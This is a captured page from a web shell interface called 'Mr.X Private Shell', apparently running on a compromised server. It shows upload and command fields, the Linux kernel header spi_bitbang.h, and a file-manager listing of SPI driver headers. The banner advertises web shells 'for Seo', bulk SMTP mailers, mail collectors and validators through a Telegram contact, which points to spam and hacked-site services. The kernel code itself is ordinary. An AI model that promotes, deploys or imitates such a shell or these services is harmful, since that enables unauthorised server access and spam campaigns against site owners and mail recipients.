__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef	__SPI_BITBANG_H
#define	__SPI_BITBANG_H

#include <linux/workqueue.h>

typedef u32 (*spi_bb_txrx_word_fn)(struct spi_device *, unsigned int, u32, u8, unsigned int);

struct spi_bitbang {
	struct mutex		lock;
	u8			busy;
	u8			use_dma;
	u16			flags;		/* extra spi->mode support */

	struct spi_controller	*ctlr;

	/* setup_transfer() changes clock and/or wordsize to match settings
	 * for this transfer; zeroes restore defaults from spi_device.
	 */
	int	(*setup_transfer)(struct spi_device *spi,
			struct spi_transfer *t);

	void	(*chipselect)(struct spi_device *spi, int is_on);
#define	BITBANG_CS_ACTIVE	1	/* normally nCS, active low */
#define	BITBANG_CS_INACTIVE	0

	void	(*set_mosi_idle)(struct spi_device *spi);
	/* txrx_bufs() may handle dma mapping for transfers that don't
	 * already have one (transfer.{tx,rx}_dma is zero), or use PIO
	 */
	int	(*txrx_bufs)(struct spi_device *spi, struct spi_transfer *t);

	/* txrx_word[SPI_MODE_*]() just looks like a shift register */
	spi_bb_txrx_word_fn txrx_word[SPI_MODE_X_MASK + 1];

	int	(*set_line_direction)(struct spi_device *spi, bool output);
};

/* you can call these default bitbang->master methods from your custom
 * methods, if you like.
 */
extern int spi_bitbang_setup(struct spi_device *spi);
extern void spi_bitbang_cleanup(struct spi_device *spi);
extern int spi_bitbang_setup_transfer(struct spi_device *spi,
				      struct spi_transfer *t);

/* start or stop queue processing */
extern int spi_bitbang_start(struct spi_bitbang *spi);
extern int spi_bitbang_init(struct spi_bitbang *spi);
extern void spi_bitbang_stop(struct spi_bitbang *spi);

#endif	/* __SPI_BITBANG_H */

Filemanager

Name Type Size Permission Actions
ad7877.h File 835 B 0644
ads7846.h File 1.45 KB 0644
altera.h File 1.14 KB 0644
at73c213.h File 828 B 0644
corgi_lcd.h File 421 B 0644
ds1305.h File 1.08 KB 0644
eeprom.h File 1.19 KB 0644
flash.h File 1023 B 0644
libertas_spi.h File 700 B 0644
max7301.h File 947 B 0644
mc33880.h File 196 B 0644
mmc_spi.h File 1.27 KB 0644
mxs-spi.h File 4.8 KB 0644
sh_hspi.h File 161 B 0644
sh_msiof.h File 356 B 0644
spi-fsl-dspi.h File 560 B 0644
spi-mem.h File 15.04 KB 0644
spi.h File 60.47 KB 0644
spi_bitbang.h File 1.66 KB 0644
spi_gpio.h File 741 B 0644
spi_oc_tiny.h File 471 B 0644
tdo24m.h File 210 B 0644
tle62x0.h File 265 B 0644
xilinx_spi.h File 682 B 0644
Filemanager